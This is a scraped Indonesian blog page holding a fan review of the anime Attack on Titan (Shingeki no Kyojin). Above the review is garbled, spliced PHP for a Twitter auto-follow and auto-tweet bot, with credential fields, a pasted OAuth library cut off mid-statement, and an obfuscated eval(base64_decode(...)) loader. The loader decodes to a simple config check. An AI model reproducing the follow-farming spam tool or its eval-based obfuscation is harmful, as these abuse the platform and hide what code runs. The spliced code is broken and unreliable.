Klik Disini
$ck = "#"; // 8AeR93em84Pyum5i1QGA
$cs = "#; // ugCImRuw376Y9t9apIq6bgWGNbb1ymBrx2K5NK0ZI
$bl = "#"; // Arnanimetime.blohspot.com
// FITUR
$msg = "# "; // AUTO TWEET (SM*ASH BUBAR HARI INI? CEK DISINI!) (BUAT PROMO)
$foid = "#"; // AUTO FOLLOW (@Arnold5SOS) (BUAT FOLLOW ID ITU DAN CEK ID ORANG)
$jmfo = "#"; // 100
$btli = "#"; // 60
// URL CONFIR (BISA BUAT BLOGCEPOT)
$home = "/index.html"; // HALAMAN UTAMA
$gk1s = "/gag1.html"; // TIDAK BISA FOLLOW
$gk2s = "/gag2.html"; // ANTI BOT
$ws1s = "/yss1.html"; // Halaman masuk (suru nuggu baru add.php)
key=$key;$this->secret=$secret;$this->callback_url=$callback_url;}function __toString(){return "OAuthConsumer[key=$this->key,secret=$this->secret]";}}class OAuthToken{public $key;public $secret;function __construct($key,$secret){$this->key=$key;$this->secret=$secret;}function to_string(){return "oauth_token=".OAuthUtil::urlencode_rfc3986($this->key)."&oauth_token_secret=".OAuthUtil::urlencode_rfc3986($this->secret);}function __toString(){return $this->to_string();}}abstract class OAuthSignatureMethod{abstract public function get_name();abstract public function build_signature($request,$consumer,$token);public function check_signature($request,$consumer,$token,$signature){$built=$this->build_signature($request,$consumer,$token);return $built==$signature;}}class OAuthSignatureMethod_HMAC_SHA1 extends OAuthSignatureMethod{function get_name(){return "HMAC-SHA1";}public function build_signature($request,$consumer,$token){$base_string=$request->get_signature_base_string();$request->base_string=$base_string;$key_parts=array($consumer->secret,($token)?$token->secret:"");$key_parts=OAuthUtil::urlencode_rfc3986($key_parts);$key=implode('&',$key_parts);return base64_encode(hash_hmac('sha1',$base_string,$key,true));}}class OAuthSignatureMethod_PLAINTEXT extends OAuthSignatureMethod{public function get_name(){return "PLAINTEXT";}public function build_signature($request,$consumer,$token){$key_parts=array($consumer->secret,($token)?$token->secret:"");$key_parts=OAuthUtil::urlencode_rfc3986($key_parts);$key=implode('&',$key_parts);$request->base_string=$key;return $key;}}abstract class OAuthSignatureMethod_RSA_SHA1 extends OAuthSignatureMethod{public function get_name(){return "RSA-SHA1";}protected abstract function fetch_public_cert(&$request);protected abstract function fetch_private_cert(&$request);public function build_signature($request,$consumer,$token){$base_string=$request->get_signature_base_string();$request->base_string=$base_string;$cert=$this->fetch_private_cert($request);$privatekeyid=openssl_get_privatekey($cert);$ok=openssl_sign($base_string,$signature,$privatekeyid);openssl_free_key($privatekeyid);return base64_encode($signature);}public function check_signature($request,$consumer,$token,$signature){$decoded_sig=base64_decode($signature);$base_string=$request->get_signature_base_string();$cert=$this->fetch_public_cert($request);$publickeyid=openssl_get_publickey($cert);$ok=openssl_verify($base_string,$decoded_sig,$publickeyid);openssl_free_key($publickeyid);return $ok==1;}}class OAuthRequest{private $parameters;private $http_method;private $http_url;public $base_string;public static $version='1.0';public static $POST_INPUT='php://input';function __construct($http_method,$http_url,$parameters=NULL){@$parameters or $parameters=array();$parameters=array_merge(OAuthUtil::parse_parameters(parse_url($http_url,PHP_URL_QUERY)),$parameters);$this->parameters=$parameters;$this->http_method=$http_method;$this->http_url=$http_url;}public static function from_request($http_method=NULL,$http_url=NULL,$parameters=NULL){$scheme=(!isset($_SERVER['HTTPS'])||$_SERVER['HTTPS']!="on")?'http':'https';@$http_url or $http_url=$scheme.'://'.$_SERVER['HTTP_HOST'].':'.$_SERVER['SERVER_PORT'].$_SERVER['REQUEST_URI'];@$http_method or $http_method=$_SERVER['REQUEST_METHOD'];if(!$parameters){$request_headers=OAuthUtil::get_headers();$parameters=OAuthUtil::parse_parameters($_SERVER['QUERY_STRING']);if($http_method=="POST"&&@strstr($request_headers["Content-Type"],"application/x-www-form-urlencoded")){$post_data=OAuthUtil::parse_parameters(file_get_contents(self::$POST_INPUT));$parameters=array_merge($parameters,$post_data);}if(@substr($request_headers['Authorization'],0,6)=="OAuth "){$header_parameters=OAuthUtil::split_header($request_headers['Authorization']);$parameters=array_merge($parameters,$header_parameters);}}return new OAuthRequest($http_method,$http_url,$parameters);}public static function from_consumer_and_token($consumer,$token,$http_method,$http_url,$parameters=NULL){@$parameters or $parameters=array();$defaults=array("oauth_version"=>OAuthRequest::$version,"oauth_nonce"=>OAuthRequest::generate_nonce(),"oauth_timestamp"=>OAuthRequest::generate_timestamp(),"oauth_consumer_key"=>$consumer->key);if($token)$defaults['oauth_token']=$token->key;$parameters=array_merge($defaults,$parameters);return new OAuthRequest($http_method,$http_url,$parameters);}public function set_parameter($name,$value,$allow_duplicates=true){if($allow_duplicates&&isset($this->parameters[$name])){if(is_scalar($this->parameters[$name])){$this->parameters[$name]=array($this->parameters[$name]);}$this->parameters[$name][]=$value;}else{$this->parameters[$name]=$value;}}public function get_parameter($name){return isset($this->parameters[$name])?$this->parameters[$name]:null;}public function get_parameters(){return $this->parameters;}public function unset_parameter($name){unset($this->parameters[$name]);}public function get_signable_parameters(){$params=$this->parameters;if(isset($params['oauth_signature'])){unset($params['oauth_signature']);}return OAuthUtil::build_http_query($params);}public function get_signature_base_string(){$parts=array($this->get_normalized_http_method(),$this->get_normalized_http_url(),$this->get_signable_parameters());$parts=OAuthUtil::urlencode_rfc3986($parts);return implode('&',$parts);}public function get_normalized_http_method(){return strtoupper($this->http_method);}public function get_normalized_http_url(){$parts=parse_url($this->http_url);$port=@$parts['port'];$scheme=$parts['scheme'];$host=$parts['host'];$path=@$parts['path'];$port or $port=($scheme=='https')?'443':'80';if(($scheme=='https'&&$port!='443')||($scheme=='http'&&$port!='80')){$host="$host:$port";}return "$scheme://$host$path";}public function to_url(){$post_data=$this->to_postdata();$out=$this->get_normalized_http_url();if($post_data){$out.='?'.$post_data;}return $out;}public function to_postdata(){return OAuthUtil::build_http_query($this->parameters);}public function to_header($realm=null){$first=true;if($realm){$out='Authorization: OAuth realm="'.OAuthUtil::urlencode_rfc3986($realm).'"';$first=false;}else $out='Authorization: OAuth';$total=array();foreach($this->parameters as $k=>$v){if(substr($k,0,5)!="oauth")continue;if(is_array($v)){throw new OAuthException('Arrays not supported in headers');}$out.=($first)?' ':',';$out.=OAuthUtil::urlencode_rfc3986($k).'="'.OAuthUtil::urlencode_rfc3986($v).'"';$first=false;}return $out;}public function __toString(){return $this->to_url();}public function sign_request($signature_method,$consumer,$token){$this->set_parameter("oauth_signature_method",$signature_method->get_name(),false);$signature=$this->build_signature($signature_method,$consumer,$token);$this->set_parameter("oauth_signature",$signature,false);}public function build_signature($signature_method,$consumer,$token){$signature=$signature_method->build_signature($this,$consumer,$token);return $signature;}private static function generate_timestamp(){return time();}private static function generate_nonce(){$mt=microtime();$rand=mt_rand();return md5($mt.$rand);}}class OAuthServer{protected $timestamp_threshold=300;protected $version='1.0';protected $signature_methods=array();protected $data_store;function __construct($data_store){$this->data_store=$data_store;}public function add_signature_method($signature_method){$this->signature_methods[$signature_method->get_name()]=$signature_method;}public function fetch_request_token(&$request){$this->get_version($request);$consumer=$this->get_consumer($request);$token=NULL;$this->check_signature($request,$consumer,$token);$callback=$request->get_parameter('oauth_callback');$new_token=$this->data_store->new_request_token($consumer,$callback);return $new_token;}public function fetch_access_token(&$request){$this->get_version($request);$consumer=$this->get_consumer($request);$token=$this->get_token($request,$consumer,"request");$this->check_signature($request,$consumer,$token);$verifier=$request->get_parameter('oauth_verifier');$new_token=$this->data_store->new_access_token($token,$consumer,$verifier);return $new_token;}public function verify_request(&$request){$this->get_version($request);$consumer=$this->get_consumer($request);$token=$this->get_token($request,$consumer,"access");$this->check_signature($request,$consumer,$token);return array($consumer,$token);}private function get_version(&$request){$version=$request->get_parameter("oauth_version");if(!$version){$version='1.0';}if($version!==$this->version){throw new OAuthException("OAuth version '$version' not supported");}return $version;}private function get_signature_method(&$request){$signature_method=@$request->get_parameter("oauth_signature_method");if(!$signature_method){throw new OAuthException('No signature method parameter. This parameter is required');}if(!in_array($signature_method,array_keys($this->signature_methods))){throw new OAuthException("Signature method '$signature_method' not supported "."try one of the following: ".implode(", ",array_keys($this->signature_methods)));}return $this->signature_methods[$signature_method];}private function get_consumer(&$request){$consumer_key=@$request->get_parameter("oauth_consumer_key");if(!$consumer_key){throw new OAuthException("Invalid consumer key");}$consumer=$this->data_store->lookup_consumer($consumer_key);if(!$consumer){throw new OAuthException("Invalid consumer");}return $consumer;}private function get_token(&$request,$consumer,$token_type="access"){$token_field=@$request->get_parameter('oauth_token');$token=$this->data_store->lookup_token($consumer,$token_type,$token_field);if(!$token){throw new OAuthException("Invalid $token_type token: $token_field");}return $token;}private function check_signature(&$request,$consumer,$token){$timestamp=@$request->get_parameter('oauth_timestamp');$nonce=@$request->get_parameter('oauth_nonce');$this->check_timestamp($timestamp);$this->check_nonce($consumer,$token,$nonce,$timestamp);$signature_method=$this->get_signature_method($request);$signature=$request->get_parameter('oauth_signature');$valid_sig=$signature_method->check_signature($request,$consumer,$token,$signature);if(!$valid_sig){throw new OAuthException("Invalid signature");}}private function check_timestamp($timestamp){if(! $timestamp)throw new OAuthException('Missing timestamp parameter. The parameter is required');$now=time();if(abs($now - $timestamp)>$this->timestamp_threshold){throw new OAuthException("Expired timestamp, yours $timestamp, ours $now");}}private function check_nonce($consumer,$token,$nonce,$timestamp){if(! $nonce)throw new OAuthException('Missing nonce parameter. The parameter is required');$found=$this->data_store->lookup_nonce($consumer,$token,$nonce,$timestamp);if($found){throw new OAuthException("Nonce already used: $nonce");}}}class OAuthDataStore{function lookup_consumer($consumer_key){}function lookup_token($consumer,$token_type,$token){}function lookup_nonce($consumer,$token,$nonce,$timestamp){}function new_request_token($consumer,$callback=null){}function new_access_token($token,$consumer,$verifier=null){}}class OAuthUtil{public static function urlencode_rfc3986($input){if(is_array($input)){return array_map(array('OAuthUtil','urlencode_rfc3986'),$input);}else if(is_scalar($input)){return str_replace('+',' ',str_replace('%7E','~',rawurlencode($input)));}else{return '';}}public static function urldecode_rfc3986($string){return urldecode($string);}public static function split_header($header,$only_allow_oauth_parameters=true){$pattern='/(([-_a-z]*)=("([^"]*)"|([^,]*)),?)/';$offset=0;$params=array();while(preg_match($pattern,$header,$matches,PREG_OFFSET_CAPTURE,$offset)>0){$match=$matches[0];$header_name=$matches[2][0];$header_content=(isset($matches[5]))?$matches[5][0]:$matches[4][0];if(preg_match('/^oauth_/',$header_name)||!$only_allow_oauth_parameters){$params[$header_name]=OAuthUtil::urldecode_rfc3986($header_content);}$offset=$match[1] + strlen($match[0]);}if(isset($params['realm'])){unset($params['realm']);}return $params;}public static function get_headers(){if(function_exists('apache_request_headers')){$headers=apache_request_headers();$out=array();foreach($headers AS $key=>$value){$key=str_replace(" ","-",ucwords(strtolower(str_replace("-"," ",$key))));$out[$key]=$value;}}else{$out=array();if(isset($_SERVER['CONTENT_TYPE']))$out['Content-Type']=$_SERVER['CONTENT_TYPE'];if(isset($_ENV['CONTENT_TYPE']))$out['Content-Type']=$_ENV['CONTENT_TYPE'];foreach($_SERVER as $key=>$value){if(substr($key,0,5)=="HTTP_"){$key=str_replace(" ","-",ucwords(strtolower(str_replace("_"," ",substr($key,5)))));$out[$key]=$value;}}}return $out;}public static function parse_parameters($input){if(!isset($input)||!$input)return array();$pairs=explode('&',$input);$parsed_parameters=array();foreach($pairs as $pair){$split=explode('=',$pair,2);$parameter=OAuthUtil::urldecode_rfc3986($split[0]);$value=isset($split[1])?OAuthUtil::urldecode_rfc3986($split[1]):'';if(isset($parsed_parameters[$parameter])){if(is_scalar($parsed_parameters[$parameter])){$parsed_parameters[$parameter]=array($parsed_parameters[$parameter]);}$parsed_parameters[$parameter][]=$value;}else{$parsed_parameters[$parameter]=$value;}}return $parsed_parameters;}public static function build_http_query($params){if(!$params)return '';$keys=OAuthUtil::urlencode_rfc3986(array_keys($params));$values=OAuthUtil::urlencode_rfc3986(array_values($params));$params=array_combine($keys,$values);uksort($params,'strcmp');$pairs=array();foreach($params as $parameter=>$value){if(is_array($value)){natsort($value);foreach($value as $duplicate_value){$pairs[]=$parameter.'='.$duplicate_value;}}else{$pairs[]=$parameter.'='.$value;}}return implode('&',$pairs);}}
$ws2s = "/yss2.html"; // Work sudah bertambah
$_F=__FILE__;$_X='Pz48P3BocA0KNGYgKDVtcHR5KCRjaykgfHwgNW1wdHkoJGNzKSB8fCA1bXB0eSgkYmwpIHx8IDVtcHR5KCRmMjRkKSB8fCA1bXB0eSgkam1mMikgfHwgNW1wdHkoJGJ0bDQpIHx8IDVtcHR5KCRoMm01KSB8fCA1bXB0eSgkZ2s2cykgfHwgNW1wdHkoJGdrYXMpIHx8IDVtcHR5KCRna29zKSB8fCA1bXB0eSgkd3M2cykgfHwgNW1wdHkoJHdzYXMpKSB7DQogICAgNWNoMiAiQWQxIHkxbmcgYjFnNDFuIHA1bnQ0bmcgYjVsM20gZDQgNHM0LiI7DQogICAgNXg0dCgpOw0KfQ0KID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
http_status;}function lastAPICall(){return $this->last_api_call;}function __construct($consumer_key,$consumer_secret,$oauth_token=NULL,$oauth_token_secret=NULL){$this->sha1_method=new OAuthSignatureMethod_HMAC_SHA1();$this->consumer=new OAuthConsumer($consumer_key,$consumer_secret);if(!empty($oauth_token)&&!empty($oauth_token_secret)){$this->token=new OAuthConsumer($oauth_token,$oauth_token_secret);}else{$this->token=NULL;}}function getRequestToken($oauth_callback){$parameters=array();$parameters['oauth_callback']=$oauth_callback;$request=$this->oAuthRequest($this->requestTokenURL(),'GET',$parameters);$token=OAuthUtil::parse_parameters($request);$this->token=new OAuthConsumer($token['oauth_token'],$token['oauth_token_secret']);return $token;}function getAuthorizeURL($token,$sign_in_with_twitter=TRUE){if(is_array($token)){$token=$token['oauth_token'];}if(empty($sign_in_with_twitter)){return $this->authorizeURL()."?oauth_token={$token}";}else{return $this->authenticateURL()."?oauth_token={$token}";}}function getAccessToken($oauth_verifier){$parameters=array();$parameters['oauth_verifier']=$oauth_verifier;$request=$this->oAuthRequest($this->accessTokenURL(),'GET',$parameters);$token=OAuthUtil::parse_parameters($request);$this->token=new OAuthConsumer($token['oauth_token'],$token['oauth_token_secret']);return $token;}function getXAuthToken($username,$password){$parameters=array();$parameters['x_auth_username']=$username;$parameters['x_auth_password']=$password;$parameters['x_auth_mode']='client_auth';$request=$this->oAuthRequest($this->accessTokenURL(),'POST',$parameters);$token=OAuthUtil::parse_parameters($request);$this->token=new OAuthConsumer($token['oauth_token'],$token['oauth_token_secret']);return $token;}function get($url,$parameters=array()){$response=$this->oAuthRequest($url,'GET',$parameters);if($this->format==='json'&&$this->decode_json){return json_decode($response);}return $response;}function post($url,$parameters=array()){$response=$this->oAuthRequest($url,'POST',$parameters);if($this->format==='json'&&$this->decode_json){return json_decode($response);}return $response;}function delete($url,$parameters=array()){$response=$this->oAuthRequest($url,'DELETE',$parameters);if($this->format==='json'&&$this->decode_json){return json_decode($response);}return $response;}function oAuthRequest($url,$method,$parameters){if(strrpos($url,'https://')!==0&&strrpos($url,'http://')!==0){$url="{$this->host}{$url}.{$this->format}";}$request=OAuthRequest::from_consumer_and_token($this->consumer,$this->token,$method,$url,$parameters);$request->sign_request($this->sha1_method,$this->consumer,$this->token);switch($method){case 'GET':return $this->http($request->to_url(),'GET');default:return $this->http($request->get_normalized_http_url(),$method,$request->to_postdata());}}function http($url,$method,$postfields=NULL){$this->http_info=array();$ci=curl_init();curl_setopt($ci,CURLOPT_USERAGENT,$this->useragent);curl_setopt($ci,CURLOPT_CONNECTTIMEOUT,$this->connecttimeout);curl_setopt($ci,CURLOPT_TIMEOUT,$this->timeout);curl_setopt($ci,CURLOPT_RETURNTRANSFER,TRUE);curl_setopt($ci,CURLOPT_HTTPHEADER,array('Expect:'));curl_setopt($ci,CURLOPT_SSL_VERIFYPEER,$this->ssl_verifypeer);curl_setopt($ci,CURLOPT_HEADERFUNCTION,array($this,'getHeader'));curl_setopt($ci,CURLOPT_HEADER,FALSE);switch($method){case 'POST':curl_setopt($ci,CURLOPT_POST,TRUE);if(!empty($postfields)){curl_setopt($ci,CURLOPT_POSTFIELDS,$postfields);}break;case 'DELETE':curl_setopt($ci,CURLOPT_CUSTOMREQUEST,'DELETE');if(!empty($postfields)){$url="{$url}?{$postfields}";}}curl_setopt($ci,CURLOPT_URL,$url);$response=curl_exec($ci);$this->http_code=curl_getinfo($ci,CURLINFO_HTTP_CODE);$this->http_info=array_merge($this->http_info,curl_getinfo($ci));$this->url=$url;curl_close($ci);return $response;}function getHeader($ch,$header){$i=strpos($header,':');if(!empty($i)){$key=str_replace('-','_',strtolower(substr($header,0,$i)));$value=trim(substr($header,$i + 2));$this->http_header[$key]=$value;}return strlen($header);}}?php>?php>
- Back to Home »
- Anime , Shingeki no Kyojin »
- Shingeki No Kyojin - Attack on Titan : Ide Cerita Brilian Dengan Eksekusi Sempurna [Anime Review]
Posted by : Unknown
Jumat, 27 Desember 2013
Type: TV
Episodes: 25
Status: Currently Airing
Aired: Apr 7, 2013 to ?
Producers: Production I.G, FUNimation EntertainmentL, Mainichi Broadcasting, Pony Canyon, Kodansha, Wit Studio, Shingeki no Kyojin Team
Genres: Action, Drama, Fantasy, Super Power
Duration: 24 min. per episode
Rating: R - 17+ (violence & profanity)
Beberapa bulan-bulan yang lalu saat "dipingit" tidak keluar rumah buat belajar dan mengorbankan waktu main dan menonton anime, sial bagi gue karena pada masa itu justru dirilis anime yang booming dan ramai dibicarakan orang-orang. Ya, Shingeki no Kyojin (Attack on Titan) berhasil merebut hati para penonton di awal tahun 2013. Tapi, dimana ada kumpulan orang banyak, selalu ada kemungkinan ada copet, begitu juga dalam hal ini. Seperti halnya waktu Sword Art Online booming tahun lalu dan sukses meracuni banyak orang yang masih "suci”—terutama kalangan gamer dan menarik mereka ke lingkaran setan keindangan dunia dua dimensi, yang karenanya banyak yang dengan enteng menspoiled jalan cerita anime yang sedang berjalan itu. Mungkin karena kebelumpahaman mereka tentang etika dan unwritten-rules tentang menonton anime ongoing, bahwa ada banyak sekali orang yang menganggap spoiler itu najis, dan tingkatannya menjadi najis megalodon kalau itu anime yang sedang ongoing, yang mengganggu keabsahan kenikmatan menonton. Beruntung bagi gue, karena waktu Sword Art Online, gue selalu nonton setiap episodenya di awal waktu baru keluar, setiap Minggu pagi, dan cerita Sword Art Online juga tidak terlalu istimewa yang sampai bakal nyesek banget kalau ke-spoiled. Tapi, beribu angin topan keapesan buat gue, saat Shingeki no Kyojin, yang jalan cerita dan twistnya spektakuler ini, sebelum gue nonton sudah kena spoiler duluan. Betapa kampretnya. *Aku ingin lupa ingatan, Tuhaaaan!!*
Well, yang penting tibalah saatnya buat gue balas dendam dengan menontonnya lebih awal setelah rilis tiap minggu pagi. Karena efek kehebohannya, bahkan sebelum nonton pun gue sudah tidak asing dengan kata-kata seperti “Titan”, “Eren”, “Mikasa”, bahkan "Rifa’i”. Okelah tidak apa-apa, yang penting sekarang gue sudah bisa nonton walaupun kadar kenikmatannya telah berkurang beberapa persen karena kena spoiler, dan berikut kesan yang gue dapatkan setelah menonton sampai episode 13.5 (bagian sinopsis dan lain-lain gue skip saja ya, gue rasa kebanyakan sudah tahu sinopsis anime terkenal ini dan sudah banyak dibahas juga, gue mau langsung ke review, tidak sabar kepingin menyeritakan kesan-kesan haha) :
Ide Cerita
Brilian! Sudah itu saja, ide cerita tentang manusia yang diambang kepunahan karena terancam dimakan oleh makhluk-raksasa-telanjang-tanpa-organ-reproduksi bernama Titan ini sangat menarik. Apalagi ide kalau ternyata manusia bukan makanan Titan, melainkan hanya mainan. Ya, Titan memakan manusia bukan karena lapar atau apa, tapi karena iseng dan cuma buat kesenangan. Rasakan itu manusia, akhirnya kalian tahu bagaimana rasanya jadi kuaci.
Berbekal pondasi cerita yang kuat ini, konsekuensi-konsekuensi selanjutnya dari ide cerita inipun ditampilkan sama mulusnya. Sebut saja, yang paling menonjol, bagaimana efek psikologi manusia yang sedang terancam, ketakutan, dan perasaan tak berdaya saat menghadapi para titan ditampilkan sangat intens, sampai konflik yang timbul yang tidak diakibatkan oleh titan secara langsung, melainkan karena sifat dasar manusia serakah, egois, maunya menang sendiri dan tidak mau mengalah dan akhirnya menimbulkan konflik internal di kalangan manusia itu sendiri.
Oh ya, gue suka, sangat suka dengan konsep manusia yang terkurung di suatu teritorial yang dillindungi tembok tinggi. Bagaimana manusia mengurung diri dan merasa aman di dalam sana, dan bagaimana Eren dan Armin sangat ingin keluar dari tembok itu dan melihat indahnya dunia luar, suka banget.
Gue suka bagaimana Eren menganggap manusia yang tinggal di dalam kandang yang mereka sebut tembok itu tidak berbeda dengan hewan ternak. Gue juga suka pembagian pasukan militer menjadi tiga divisi, yaitu Garrison, Recon Corps, dan Military Police, dan pandangan masyarakat terhadap ketiganya, serta perbedaan pandangan mereka sebelum dan setelah penyerangan Wall Maria. Tak lupa hal kecil namun mengena seperti kenyataan siapa saja yang berhak memilih masuk Military Police dan pandangan para cadet tentang menjadi seorang Military Police yang mana hal itu mengganggu Eren, itu keren. Tentu saja itu semua masih merupakan kosekuensi-konsekuensi dari benang merah utama : ketakutan manusia terhadap titan.
Karakter
Masing-masing tokoh dalam anime ini memliki karakter yang kuat, terutama tiga karakter utama yakni Eren, Mikasa, dan Armin. Eren yang sangat emosional dan ambisius untuk membantai semua titan di muka bumi dan ingin melihat dunia luar, Mikasa yang tenang dan berkepala dingin, yang selalu setia mengikuti Eren kemanapun, dan juga Armin yang merasa bahwa dirinya lemah tidak berguna tapi sebenarnya yang paling pintar diantara mereka.
Tapi, ada satu karakter yang buat gue spesial dan jadi perhatian gue dari episode pertengahan. Dia adalah Jean. Awalnya Jean diperlihatkan sebagai seorang scumbag yang ikut pelatihan militer hanya untuk hidup enak jadi Military Police setidaknya dia jujur, dia bahkan mencemooh mimpi Eren dan terlibat cekcok dengan Eren di hari pertama, dia juga menganggap Eren sebagai saingan, baik dalam hal kepelatihan, maupun dalam cinta (karena dia suka sama Mikasa dan kerap cemburu setiap melihat Eren dapat perhatian lebih dari Mikasa).
Tapi perlahan-lahan, ketika kejadian demi kejadian terjadi, Jean mengalami peningkatan dengan kepribadiannya, dia menunjukan perubahan, dari seseorang yang sangat egois, menjadi... ya menjadi lebih baik. Berbeda dengan Annie atau Connie atau mereka belum saja, ada banyak scene-scene khusus yang memperlihatkan Jean yang sedang berkonflik dengan pikirannya sendiri, bagaimana dia melihat realita, bagaimana dia takut salah mengambil langkah, dan lain sebagainya yang menurut gue itu sangat keren dan bermakna. Jadi kalau ditanya siapa karakter favorit di Shingeki no Kyojin, maka jawaban gue adalah Jean Kirschtein.
Teknologi
Entah karena akhir-akhir ini gue nonton anime yang settingnya masa sekarang dan masa depan terus, pas nonton anime yang settingnya masa lalu seperti Shingeki no Kyojin ini, gue jadi kagum bagaimana anime ini bisa menciptakan suatu teknologi yang belum ada tapi tidak terlalu canggih dan masih nyambung dengan setting waktu saat itu. Tentu saja, tak lain dan tak bukan, teknologi yang gue maksud adalah 3D Manuever Gear.
3DMG di Shingeki no Kyojin ibarat Denden Mushi di One Piece, gue kagum dan pengen punya. Kalau kalian sangat menikmati mainin game Spider-Man di PS1 karena Spider-Man-nya bisa gelayutan di gedung-gedung, dan kalian menjadi lebih gila saat bermain game Ultimate Spider-Man di PS2 karena asik banget mainin Spider-Man ngegelayut dengan manuver yang lebih bebas dan keren sampe lupa misi, maka percayalah, menonton Mikasa gelayutan di antara bangunan dengan 3D Manuever Gear tidak kalah serunya.
Animasi
Siapa sih studionya? Wit Studio? Men kata gue sih mereka berhasil mengeksekusi potensi dari Shingeki no Kyojin
menjadi anime. Yang gue liat ada dua, pertama animasi ayunan-ayunan dan
gelayutan karakter-karakter dengan 3D Manuever Gear yang seru itu, dan
yang kedua dramatisasi suasana chaos dan mencekam, termasuk kebengisan
titan waktu makan manusia, teriakan putus asa manusia, muka titan yang
ngeselin, dan yang paling penting, musik.
Ya, musik background di anime ini keren dan pas banget, bisa ngedrive suasana hati dan gue yakin kalian setuju. Artwork yang keren juga tak ketinggalan yang rasanya sudah wajib deh artwork keren di zaman seperti saat ini dan desain karakter yang bisa menggambarkan fisik orang eropa dan penggambarannya yang tegas untuk memperkuat efek psikologi. Well done.
PLOT
Sayang sekali gue tidak bisa mengatakan banyak di bagian ini karena gue sudah tidak merasakan “degg-moment” waktu dihadapkan dengan twist-twist cepat nan seharusnya bikin cengo. Ini semua gara-gara gue sudah terlalu banyak kena spoiler sebelum nonton. Gue sudah berusaha menarik diri keluar dan mencoba melihat jalan cerita as if gue masih suci dari spoiler, tapi... gue tidak bisa men. Spoiler terlalu laknat untuk dilupakan dan tetap saja gue tidak bisa merasakan kehebohan twist itu, yang diungkapkan komentar-komentar orang yang terbukti dengan caps-lock jebol waktu habis menonton episodenya. Aku kotor maaa aku kotooooor! Yang bisa gue simpulkan cuma plotnya cukup rapih dengan meninggalkan beberapa misteri-misteri kecil di antara misteri besar. Misteri besar tuh misalnya seperti pengetahuan tentang titan yang sedikit demi sedikit terungkap, dan ruang bawah tanah Eren. Sementara yang keren adalah misteri-misteri kecil yang sangat rentan untuk terlupakan, seperti mimpi Eren, dan gap kecil saat Eren amnesia sesaat.
Lain-lain
Oh boy, fandom SnK rame banget ya. Sampai-sampai muncul sosok Rifa’i, padahal di anime sendiri Rivaille munculnya baru sedikit, palingan di manga. Dan ngomong-ngomong soal manga, dan kini comic Attack on Titan telah keluar di toko buku kesayangan Anda yang masih beberapa jilid, Oh yeah~
Kemudian ada satu pikiran yang tersirat waktu gue lagi nonton Shingeki no Kyojin ini, jalan ceritanya yang cukup panjang dan bersifat “meningkat” (Eren waktu masih kecil, saat sudah jadi cadet, lalu join Recon Corps) dan cerita yang mengandung objective-objective dari yang utama (mengalahkan colossal titan) sampai langkah-langkah yang dibutuhkan untuk mencapai itu (harus ke ruang bawah tanah rumah Eren, mengambil kembali Trost, join Recon Corps, dll) ditambah setting masa lalu, sepertinya cocok kalau dibikin game RPG. Coba bayangkan game RPG dengan tokoh utama Eren dan Colossal Titan sebagai final bossnya, ah entah kenapa gue pikir ceritanya cocok banget deh kalau dijadiin game RPG, apalagi kalau bisa main gelayutan pake 3D Manuever Gear, pasti seru. Ya Cuma pikiran iseng saja sih, tapi siapa tahu nanti dibikin beneran, jangan game visual novelnya saja.
Ya, mungkin itu saja, review ini berdasarkan pandangan dan kesan gue selaku penonton yang korban spoiler dan belum semua baca manganya. Gue lega karena anime ini worth the wait dan memang tidak overrated. Selebihnya biarkan gue menikmati sisa setengah sesi ini dengan kenikmatan full tanpa spoiler *Tangis haru*










